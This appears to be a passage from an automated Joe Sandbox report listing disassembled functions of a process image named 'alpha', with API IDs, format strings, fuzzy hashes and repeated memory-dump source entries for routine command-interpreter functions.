                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseDeleteValue$CreateOpen
                                                                                      • String ID: %s=%s
                                                                                      • API String ID: 1019019434-1087296587
                                                                                      • Opcode ID: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
                                                                                      • Instruction ID: 501865f33e98d1e2661d09497e4e90c5200b25a7bfa3c6b31a86296b87e9f72e
                                                                                      • Opcode Fuzzy Hash: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
                                                                                      • Instruction Fuzzy Hash: 7C51C533B08B9286F760AB25A445B7AF6E1FB89780FA0D235DA5D83790DF38D445CB10
                                                                                      Function 00007FF78CF41884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmpwcsrchr
                                                                                      • String ID: COPYCMD
                                                                                      • API String ID: 2429825313-3727491224
                                                                                      • Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
                                                                                      • Instruction ID: ad53bf92c3f93184fcd7c4fa19ed6db63ad1810fc218c1de0289e06cb6d494a4
                                                                                      • Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
                                                                                      • Instruction Fuzzy Hash: 78F19123F0865286FB60AF51A040ABDB6A1FF04798FB08235EE5D276D4EF3CA555C760
                                                                                      Function 00007FF78CF44A30 Relevance: 10.8, APIs: 7, Instructions: 318COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$FullNamePathwcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 4289998964-0
                                                                                      • Opcode ID: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
                                                                                      • Instruction ID: 2f1eab43a1ccc7cffb65e6f1711cc4682c928af0a57174ba662566a41e8d5e72
                                                                                      • Opcode Fuzzy Hash: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
                                                                                      • Instruction Fuzzy Hash: 56C1BF23B0935682FA94BB569548B79F7A0FB45B90FA09531DE0E077D1EF3CA4A1C320
                                                                                      Function 00007FF78CF6BCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
                                                                                      • String ID:
                                                                                      • API String ID: 3476366620-0
                                                                                      • Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
                                                                                      • Instruction ID: ab36d25cd631ef172fb23491f4a6d913c32180ed0046460108d5502cabcc893d
                                                                                      • Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
                                                                                      • Instruction Fuzzy Hash: 7021542390868396FA147B20E8163B8F761FF49715FE49275E95E462E1DF3CA509C320
                                                                                      Function 00007FF78CF43D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
                                                                                      • String ID: %9d
                                                                                      • API String ID: 1006866328-2241623522
                                                                                      • Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
                                                                                      • Instruction ID: a19156f16babedd560b40bfa0ddc2f61a483d59c84460f68397d011c386baa13
                                                                                      • Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
                                                                                      • Instruction Fuzzy Hash: 4C517373A086428BF700EF51E8405A9BBA4FB44764FE14635EA2D57795CF3CE548CB60
                                                                                      Function 00007FF78CF48DF8 Relevance: 7.8, APIs: 5, Instructions: 281COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset
                                                                                      • String ID:
                                                                                      • API String ID: 2221118986-0
                                                                                      • Opcode ID: 4ec132db5a5163512eeab285e6cca4fd0bb6ff7b6cd64baaaa3bea2245e3dd05
                                                                                      • Instruction ID: 000683d258d243393b1cd541c237dfc631c4974b43006d61865fe53c7f4d1bf9
                                                                                      • Opcode Fuzzy Hash: 4ec132db5a5163512eeab285e6cca4fd0bb6ff7b6cd64baaaa3bea2245e3dd05
                                                                                      • Instruction Fuzzy Hash: 59C1E323A0978286FB65EF21E850AB9A3A4FB94754FA44135DB1D4BB95DF3CE640C310
                                                                                      Function 00007FF78CF49B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcess
                                                                                      • String ID:
                                                                                      • API String ID: 1617791916-0
                                                                                      • Opcode ID: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
                                                                                      • Instruction ID: de04c26acb603eedc1cf84836aa71c9e3cd3f2f9fe91ffdc94de273b1737b4a4
                                                                                      • Opcode Fuzzy Hash: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
                                                                                      • Instruction Fuzzy Hash: 06A1B223B1865282FB24AF15A451A79B6A4FF88B80FE09135EE4E97791DE3CE501C720
                                                                                      Function 00007FF78CF6FB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$DiskFreeSpace
                                                                                      • String ID: %5lu
                                                                                      • API String ID: 2448137811-2100233843
                                                                                      • Opcode ID: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
                                                                                      • Instruction ID: 2e02200eefb11565757fbdb8a28304ed157727f596677ffab2a7ef28e3f3ab04
                                                                                      • Opcode Fuzzy Hash: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
                                                                                      • Instruction Fuzzy Hash: 7A417063708AC195FB61EF61E841AEAB361FB84788F908035EA4D4BB49DF7CD249C710
                                                                                      Function 00007FF78CF4D250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp
                                                                                      • String ID: GeToken: (%x) '%s'
                                                                                      • API String ID: 2081463915-1994581435
                                                                                      • Opcode ID: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
                                                                                      • Instruction ID: 74da4cd9b4654ee9f68d70b2279d07879879370a619d31980266980bf227c0f7
                                                                                      • Opcode Fuzzy Hash: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
                                                                                      • Instruction Fuzzy Hash: 5271AA23E0824286FB68BB24E484AB5F6A0BF10754FF44539E51E4A6E0DF3CA5C5CB20
                                                                                      Function 00007FF78CF481D4 Relevance: 4.8, APIs: 3, Instructions: 299COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr
                                                                                      • String ID:
                                                                                      • API String ID: 1497570035-0
                                                                                      • Opcode ID: e0e39bf442d6dcfd9436b6d2842294aeb06884c7ddad4889aba3c1e8f15d8aa4
                                                                                      • Instruction ID: 85cf914208dfe17feb08bc8c8addb941c36c589f0dc3174affe792b8265520ad
                                                                                      • Opcode Fuzzy Hash: e0e39bf442d6dcfd9436b6d2842294aeb06884c7ddad4889aba3c1e8f15d8aa4
                                                                                      • Instruction Fuzzy Hash: 7BC10523A0868282FA54BF11A4506B9E7A0FF84794FB48135EB5E8BAD5DF3CE540C720
                                                                                      Function 00007FF78CF67B4C Relevance: 4.8, APIs: 3, Instructions: 269fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Find$File$CloseFirstNext
                                                                                      • String ID:
                                                                                      • API String ID: 3541575487-0
                                                                                      • Opcode ID: 56e533f62de2e302ba9a5b3475642777aff6c12fc228326da18867365cac5796
                                                                                      • Instruction ID: 215166ee6dad925f55e511f8e721e501d72669370e44d6f432125b8f59acac2a
                                                                                      • Opcode Fuzzy Hash: 56e533f62de2e302ba9a5b3475642777aff6c12fc228326da18867365cac5796
                                                                                      • Instruction Fuzzy Hash: 22A104A3B1829241FE14AB6595146B9F6A0BF54BE4FA44332EE6E477C4EE3CE445C320
                                                                                      Function 00007FF78CF46BE0 Relevance: 4.7, APIs: 3, Instructions: 184COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                        • Part of subcall function 00007FF78CF4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      • _pipe.MSVCRT ref: 00007FF78CF46C1E
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF46CD1
                                                                                      • DuplicateHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF78CF46CFB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heapwcschr$AllocDuplicateHandleProcess_dup_dup2_get_osfhandle_pipe_wcsicmpmemset
                                                                                      • String ID:
                                                                                      • API String ID: 624391571-0
                                                                                      • Opcode ID: 47eda0b50bd71a54bf69730aae11c552028e8b9e5938e1f45885d11fc8581733
                                                                                      • Instruction ID: 7560b2d7603c35cd5b347afe016e0cad4cff09fed40f372bfb92a85e12c4797f
                                                                                      • Opcode Fuzzy Hash: 47eda0b50bd71a54bf69730aae11c552028e8b9e5938e1f45885d11fc8581733
                                                                                      • Instruction Fuzzy Hash: E6717D33A0864287F754BF35D841878B6A1FF88764FA58234EA5D5A2E6DF3CE841C720
                                                                                      Function 00007FF78CF663FC Relevance: 4.7, APIs: 3, Instructions: 179threadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentDebugDebuggerOutputPresentStringThread
                                                                                      • String ID:
                                                                                      • API String ID: 4268342597-0
                                                                                      • Opcode ID: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
                                                                                      • Instruction ID: d62e00239cf13c15fb241696977cf2cc43dbc03c10f2dbaac2f764f2b1ed4260
                                                                                      • Opcode Fuzzy Hash: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
                                                                                      • Instruction Fuzzy Hash: 45817E23A08B8281FB60AF25E441679B7A0FF49B84FA88139DE4E07755DF3DE844C761
                                                                                      Function 00007FF78CF588C0 Relevance: 4.6, APIs: 3, Instructions: 68nativethreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: OpenToken$CloseProcessThread
                                                                                      • String ID:
                                                                                      • API String ID: 2991381754-0
                                                                                      • Opcode ID: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
                                                                                      • Instruction ID: b7ff3f799df9679fd020bf248a5259ac3dc88d4be9dc404f13f6c0580a243220
                                                                                      • Opcode Fuzzy Hash: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
                                                                                      • Instruction Fuzzy Hash: 2F2194B3A0868287F700AB54D4413BDF760FB85BA0FA04135EB5983A94DF7CE949CB10
                                                                                      Function 00007FF78CF4586C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetVersion.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,00000000,00007FF78CF6C59E), ref: 00007FF78CF45879
                                                                                        • Part of subcall function 00007FF78CF458D4: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF45903
                                                                                        • Part of subcall function 00007FF78CF458D4: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF45943
                                                                                        • Part of subcall function 00007FF78CF458D4: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF45956
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseOpenQueryValueVersion
                                                                                      • String ID: %d.%d.%05d.%d
                                                                                      • API String ID: 2996790148-3457777122
                                                                                      • Opcode ID: 4d5ad80169b63ecb9418821cd297058139bf77423c780748cae3bcfdcd848c3f
                                                                                      • Instruction ID: ce04cc6ae359d05e3061ffba53afe4a4d6526e6945ef727eb3bc42da11ed9ae0
                                                                                      • Opcode Fuzzy Hash: 4d5ad80169b63ecb9418821cd297058139bf77423c780748cae3bcfdcd848c3f
                                                                                      • Instruction Fuzzy Hash: C0F0A072A0838197E710AF55B44106AEAA1FB88780FA08138EA4A07B5ACF3CD528CB50
                                                                                      Function 00007FF78CF57854 Relevance: 3.3, APIs: 2, Instructions: 296COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$ErrorFileFindFirstLast
                                                                                      • String ID:
                                                                                      • API String ID: 2831795651-0
                                                                                      • Opcode ID: 43a4daf2934dc4b37ff691b1a4b1263eebb1773a1fb1ad015dd0d80b276b2dc6
